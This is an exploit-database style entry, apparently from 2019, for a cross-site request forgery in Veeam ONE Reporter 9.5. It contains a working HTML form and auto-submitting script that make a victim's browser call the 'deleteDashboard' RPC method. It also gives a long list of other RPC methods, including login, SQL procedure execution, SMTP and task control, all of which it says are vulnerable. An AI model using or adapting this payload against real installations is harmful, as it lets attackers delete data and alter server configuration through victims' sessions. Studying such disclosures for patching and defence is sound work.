183 lines
No EOL
5.5 KiB
Text
183 lines
No EOL
5.5 KiB
Text
# Exploit Title: Veeam ONE Reporter - Cross-Site Request Forgery (All Actions/Methods)
|
|
# Exploit Author: Seyed Sadegh Khatami
|
|
# Website: https://www.cert.ir
|
|
# Date: 2019-04-27
|
|
# Google Dork: N/A
|
|
# Vendor Homepage: https://www.veeam.com/
|
|
# Software Link: https://www.veeam.com/virtual-server-management-one-free.html
|
|
# Version: 9.5.0.3201
|
|
# Tested on: Windows Server 2016
|
|
|
|
|
|
#exploit:
|
|
<form id='del' method='POST' action='https://[target_URL]:1239/CommonDataHandlerReadOnly.ashx'>
|
|
<input name='f' id='dd'>
|
|
</form>
|
|
|
|
<script>
|
|
document.getElementById("dd").value= JSON.stringify({
|
|
id: '1',
|
|
method: 'deleteDashboard',
|
|
params:{ 'id' : 21}
|
|
});
|
|
|
|
document.getElementById("del").submit();
|
|
</script>
|
|
|
|
|
|
##########################################
|
|
#all methods is vulnerable
|
|
##########################################
|
|
#addDashboard(p)
|
|
#addDashboardUser(par)
|
|
#addDashboardUserList(par)
|
|
#applySchedulingForDashboard(dashboardId, taskId, config)
|
|
#applySchedulingForFolder(folderId, taskId, config)
|
|
#applySchedulingForReport(reportId, taskId, vmr, config)
|
|
#canModifyDashboard(id)
|
|
#captureContainer(data, taskId)
|
|
#changeObjectVisibility(objectId, visible)
|
|
#checkForUpdateReportPack(confirm)
|
|
#checkIfAdmin()
|
|
#checkUserPermissionsResolved(o)
|
|
#checkWinVersion()
|
|
#clearContainer()
|
|
#connectToSqlServer(data, save)
|
|
#DBExecuteProcedure(db)
|
|
#DBStoreLoad(db)
|
|
#DBStoreSave(db)
|
|
#deleteDashboard(id)
|
|
#deleteDashboardImage(imageId)
|
|
#deleteDashboardWidget(p)
|
|
#DeleteFolder(param)
|
|
#deleteReportPack(name, id, type)
|
|
#deleteTask(id)
|
|
#doLogin(domain, login, password)
|
|
#editDashboard(p)
|
|
#emptyDashboardRecycleBin(o)
|
|
#findDashboardUsers(p)
|
|
#getAboutData()
|
|
#getActionParameters()
|
|
#getAdvancedData()
|
|
#getAlarms()
|
|
#getAllSchedulingsForDashboard(info)
|
|
#getAllSchedulingsForFolder(info)
|
|
#getAllSchedulingsForReport(info)
|
|
#getBackUpTree(wsj)
|
|
#getBusinessViewTree(wsj)
|
|
#getComboData()
|
|
#getCommonGridItem()
|
|
#getConfiguration()
|
|
#getConfigurationOverview(id)
|
|
#getConnectedServersGridItem()
|
|
#getDashboardData(dashboard_id)
|
|
#getDashboardImages(p)
|
|
#getDashboardPermissions(p)
|
|
#getDashboardPredefiniedReports(p)
|
|
#getDashboards(p)
|
|
#getDashboardSSRSChartTypes(p)
|
|
#getDashboardUserList(p)
|
|
#getDashboardWidgetTypeData(p)
|
|
#getDefaultUserName()
|
|
#getDeletedDashboards(p)
|
|
#getEnumeratingTaskContainers(id)
|
|
#getEnumeratingTaskProperties(id)
|
|
#getEnumeratingTaskScheduling(id)
|
|
#getExtensionModules(p)
|
|
#getIgnoredDatastores(p)
|
|
#getIgnoredDatastoresDetails(p)
|
|
#getInfrastructureTree(wsj)
|
|
#getIsReporterFreeVersion()
|
|
#getJobData(id)
|
|
#getLicenseData()
|
|
#getLicensedHVSockets(p)
|
|
#getLicensedVMSockets(p)
|
|
#getMetadata(query, reload)
|
|
#getNeedToDisableTabs()
|
|
#getNotificationData()
|
|
#getObjectsToHide(p)
|
|
#getOptionList()
|
|
#getReportFilters(param)
|
|
#getReportImageName()
|
|
#getReportListTreeCheckbox(wsj)
|
|
#getReportListTreeDashboard(wsj)
|
|
#getReportListTreeWorkspace(wsj)
|
|
#getReportManagementTree(wsj)
|
|
#getReportsSectionsTree(wsj)
|
|
#getReportStatistics(param)
|
|
#getScheduleDashboardConfig(dashboardId, taskId)
|
|
#getScheduleFolderConfig(folderId, taskId)
|
|
#getScheduleReportConfig(reportId, taskId, packType)
|
|
#getScriptArgumentList()
|
|
#getServerScopeAll(wsj)
|
|
#getSessionDetails(idwithtype)
|
|
#getSessions(p)
|
|
#getSessionsTaskTypes(p)
|
|
#getSiteStatusGridItem()
|
|
#getSmtpServerData()
|
|
#getSqlServerData()
|
|
#getSsrsServerData()
|
|
#getSSRSStatus()
|
|
#getStartStopDeleteButtonsEnabled(id)
|
|
#getStatistics()
|
|
#getTaskList(p)
|
|
#getUpdateSessionInfo(o)
|
|
#getvCloudList(p)
|
|
#getVideoReportData(interval, intervalPeriod, scope)
|
|
#getVmStatus()
|
|
#getWidgetCustomChartConstructorData(p)
|
|
#getWidgetData(r)
|
|
#getWidgetList(item)
|
|
#getWidgetPackList(j)
|
|
#getWidgetParams(uid)
|
|
#getWorkspace()
|
|
#getWorkspaceReportGridItems(param)
|
|
#isSmtpConfigured()
|
|
#publishDashboard(id, publish)
|
|
#recalculateProjects(ids)
|
|
#removeDashboardUser(par)
|
|
#resetReportImageName()
|
|
#resetSchedulingForDashboard(dashboardId, taskId)
|
|
#resetSchedulingForDashboardArray(dashboardId, taskId)
|
|
#resetSchedulingForFolder(folderId)
|
|
#resetSchedulingForReport(reportId, vmr)
|
|
#resetSchedulingTaskForFolder(folderId, taskId)
|
|
#resetSchedulingTaskForReport(reportId, taskId, vmr)
|
|
#resetSchedulingTasksForFolderArray(folderId, taskId)
|
|
#resetSchedulingTasksForReportArray(reportId, taskId, vmr)
|
|
#restoreDashboard(p)
|
|
#revokeHost(hostName)
|
|
#revokeHostHV(hostName)
|
|
#SaveFolder(param)
|
|
#saveIgnoredDatastores(taskContainerId, dataStores)
|
|
#saveSchedulingInfo(taskId, taskProp)
|
|
#saveTask(taskProp, taskContainers, excludes)
|
|
#sendNotificationAboutDashboardSharing(to, subject, dashboardName, dashboardUrl, permissionLevel)
|
|
#sendTestMessage(data, setting)
|
|
#setAdvancedData(measure)
|
|
#setComboData(data)
|
|
#setDashboardUserPermissions(par)
|
|
#setDashboardWidget(p)
|
|
#SetDragAndDropPosition(dwid, colIndex, position, height)
|
|
#setSchedulingEnability(dashboardId, taskId, disabled)
|
|
#setSchedulingEnabilityArray(dashboardId, taskId, disabled)
|
|
#setSchedulingEnabilityForFolder(folderId, taskId, disabled)
|
|
#setSchedulingEnabilityForFolderArray(folderId, taskId, disabled)
|
|
#setSchedulingEnabilityForReport(reportId, taskId, disabled)
|
|
#setSchedulingEnabilityForReportArray(reportId, taskId, disabled)
|
|
#setSmtpServerData(data)
|
|
#setSsrsServerData(data)
|
|
#startTask(id)
|
|
#stopTask(id)
|
|
#system.about()
|
|
# Returns a summary about the server implementation for display purposes.
|
|
#system.listMethods()
|
|
# Returns an array of method names implemented by this service.
|
|
#system.version()
|
|
# Returns the version server implementation using the major, minor, build and revision format.
|
|
#testServer(tcd)
|
|
#testSsrsConnection(data)
|
|
#updateDashboardPosition(p)
|
|
#updateTreeExpandedStates(wsj, a)
|
|
#validateTaskName(tcd, id)
|
|
########################################## |